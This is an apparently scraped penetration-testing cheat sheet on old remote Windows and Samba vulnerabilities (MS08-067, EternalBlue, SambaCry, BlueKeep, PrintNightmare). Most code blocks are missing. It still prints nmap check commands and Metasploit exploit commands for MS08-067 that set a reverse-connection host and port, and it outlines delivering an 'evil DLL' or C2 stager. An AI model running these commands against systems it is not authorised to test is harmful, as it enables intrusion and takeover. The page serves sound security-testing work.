Low-Hanging Fruits

net_api

CVE-2008-4250, MS08-067

Check:

$ sudo nmap -n -Pn -sV --script smb-vuln-ms08-067 10.10.13.37 -p139,445
Or
msf > use exploit/windows/smb/ms08_067_netapi
msf > set RHOSTS file:smb.txt
msf > check

Exploit:

msf > use exploit/windows/smb/ms08_067_netapi
msf > set RHOSTS file:smb.txt
msf > set LHOST eth0
msf > set LPORT 1337
msf > run

EternalBlue

CVE-2017-0144, MS17-010

Unauthenticated (FuzzBunch + Wine)

Authenticated (Windows 2003 or R/W Pipe)

MSF

Check:

Exploit with:

EternalRomance / EternalSynergy / EternalChampion

Exploit with ms17_010_psexec:

Exploit with ms17_010_command:

Manually

Send MSF payload and execute it with send_and_execute.py:

Or just execute commands on host via zzz_exploit.py (at least one named pipe must be accessible on target):

circle-info

For x86 EternalBlue shellcodes use AutoBlue-MS17-010arrow-up-right (very unstable).

A feature for grabbing registry secrets in one shot:

SambaCry

CVE-2017-7494 (Samba 3.5.0 < 4.4.14/4.5.10/4.6.4)

MSF

Manually

Compile .so SUID shared library:

Get real share path on the target's filesystem:

Upload pwn.so to target and then run the exploit:

BlueKeep

CVE-2019-0708

Check:

Exploit:

PrintNightmare

CVE-2021-16751, CVE-2021-34527

Check

CrackMapExec

ItWasAllADream

Exploit

C/C++

RCE (fork of the original repo):

LPE:

Python

RCE:

Usage

  1. Prepare an SMB share with anonymous authenticationarrow-up-right allowed (smbserver.py also works):

  2. Generate an evil DLL: a С2 stager / add user to a privileged group (1arrow-up-right, 2arrow-up-right, 3arrow-up-right, etc.) / invoke a customarrow-up-right command (see example below).

  3. Run the exploit:

C#

RCE + LPE:

PowerShell

LPE:

Reproducibility

Flowchart by @wdormannarrow-up-right:

Mitigation

Last updated